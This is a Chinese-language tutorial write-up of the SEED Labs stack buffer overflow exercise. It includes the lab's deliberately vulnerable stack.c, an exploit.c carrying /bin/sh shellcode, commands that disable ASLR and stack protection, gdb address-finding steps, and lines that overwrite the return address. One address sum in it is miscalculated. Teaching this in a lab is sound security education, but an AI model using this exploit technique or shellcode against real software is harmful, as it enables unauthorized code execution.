SEED labs——buffer_overflow
栈的缓冲区溢出攻击
实验环境:Ubuntu16.04虚拟机,32bit
实验原理1:
在程序中,内存复制时,数据长度超过程序预先分配的空间,而某些语言(如c和c++)并不检测缓冲区溢出问题。攻击者可以利用这一现象向缓冲区注入恶意代码。
实验提供一个存在缓冲区溢出问题的有漏洞的代码:stack.c
/* Vunlerable program: stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
/* Change the size of the dummy array to randomize the parametersfor this lab. Need to use the array at least once */
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
其中,在bof函数中使用的strcpy函数可能会引发缓冲区溢出的问题。
想要利用这个漏洞进行恶意代码注入,则需要构造字符参数str,而str来自于一个名为“badfile”的文件。因此,我们将恶意代码写到badfile中,在程序运行时,badfile里的内容就会被复制到缓冲区。
实验提供一个程序,它的功能就是构造恶意代码(或许构造恶意攻击更为准确)。
/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* ... Put your code here ... */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
shellcode数组就是实验提供的恶意代码(以机器指令的形式给出),这段代码被系统执行后,我们将会得到一个shell。shell的通俗理解就是解释器。
那么是否恶意代码被复制到缓冲区就可以得到shell了呢?
不完全正确。
实验原理2:本实验的缓冲区溢出攻击利用了函数返回原理。所谓的函数返回,就像大家接触到的那样,在程序运行中,某个函数执行完毕,便要返回它的上一级,也就是调用完这个函数之后的地方,继续执行代码。函数实现返回的方法就是读某个返回地址,而这个函数执行后的返回地址,它存放的位置有明确的规则,也就是说有法可依,有迹可循。
上图给出了func()函数被调用时,操作系统为其分配的内存情况。这一块内存空间(灰色的)称为“栈帧”。
Current FP是当前栈帧的指针,其他内存地址可以在它之上用正负偏移量来表示。
这是一个用高端地址向低端地址生长的栈,可以看到,在栈帧中,最先入栈的是func()的形参*str,再者是函数执行完的返回地址。
Previous FP是前帧指针,在这里不做论述。
再往下是局部变量buffer数组和变量a。
我们了解了函数调用时生成的栈帧,就可以发现其中的一些有趣的地方。
①在stack.c中,读取文件中的内容到缓冲区,实际上就是把badfile里的内容读到了栈帧中的buffer数组内,并且可以远超这个规定好的长度,全部复制进去。此时shellcode当然也被写进了buffer。
②假如我们能够修改栈帧中的返回地址,将其改为我们存放shellcode的地址,那么当strcpy将数据从文件中读出、写入到buffer数组中、要返回时,就会返回到buffer数组中某个位置,也就是shellcode的首地址。那么,系统接着执行的就是我们设计好的、希望系统执行的指令,最终的执行效果是为我们打开一个shell。
那么,问题就变得非常的具体了。
我们需要分别获得2个地址:①shellcode在栈帧中存放的地址。②函数执行完返回地址在栈帧中存放的地址。
首先,我们来分析如何得到①。
显而易见,buffer数组中的数据都是由exploit.c运行生成的。
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
实验中给出的原始代码中,badfile内容全部由NOP指令的机器码填充,系统读到它时,会自动跳到下一条指令去执行。
可以看到,shellcode数组还没有被写到badfile里面。
我们可以在程序中的“/* ... Put your code here ... */”提示的下一行添加这样一条代码。
strcpy(buffer+100,shellcode); //将shellcode拷贝至buffer
这样shellcode就被写进了badfile,在stack.c运行bof函数时,shellcode就可以被读入栈帧的buffer数组中去。
为什么不从文件的第一行开始写入shellcode,而是要从100行开始呢?因为做人要留一线,严丝合缝往往代表着容错率比较低。
在exploit程序中,buffer数组的大小是517,所以shellcode存放的位置需要在517之内,否则程序会报错。
现在我们知道shellcode首地址相对于buffer数组首地址的偏移量是100了,因为这是我们自己规定的,但是我们仍然不知道buffer在栈帧内的首地址,也就不知道shellcode在栈帧的首地址。
那我们接下来就来解决这个问题。我们在虚拟机的terminal中执行以下命令。
$ sudo sysctl -w kernel.randomize_va_space=0//关闭随机地址机制
$ gcc -g -o stack -z execstack -fno-stack-protector stack.c //编译stack.c、允许调试、允许栈可执行、关闭栈保护
$ gdb stack
(gdb) b main
(gdb) r
(gdb) p /x &str
分析stack.c里面main函数的栈帧,当它执行完“fread(str, sizeof(char), 517, badfile);”时,其栈帧里面会装载str数组(等同于栈帧示意图中的buffer数组)。我们使用调试,在main函数上加断点,最终得到的是str数组的首地址,即从badfile文件中读出的数据会读到这个数组中。
那么,str数组首地址+shellcode相对于str数组首地址的偏移量=shellcode在栈帧中存放的地址,得到①,即为0xbfffea07+0x64(100的十六进制数)=0xbfffea6b。
接下来我们考虑获得②,函数执行完返回地址在栈帧中存放的地址。
需要注意的是,我们获取②使用的不是main函数的栈帧,而是stack.c里面的bof的栈帧。(因为bof的返回地址一目了然)
gdb disass bof//查看bof函数的反汇编
gdb quit//退出调试
ebp为帧指针寄存器,偏移量以它为基准。可以看到,函数执行完读取返回地址是在第<+24>的位置,此后bof函数便结束了。
于是我们又得到了②,那么我们现在要做的就是把bof函数执行后返回地址②里面的内容替换成shellcode的首地址①。
在上次添加的代码后,具体操作如下:
strcpy(buffer+100,shellcode); //将shellcode拷贝至buffer
strcpy(buffer+0x24,"\x6b\xea\xff\xbf"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
注意:内存地址由高向低生长,需要倒放。
最后,检验一下我们的成果。
$ gcc -o exploit exploit.c
$./exploit
$./stack
正确指令是whoami,这里打错了哈哈哈。
聪明的,你学会了吗。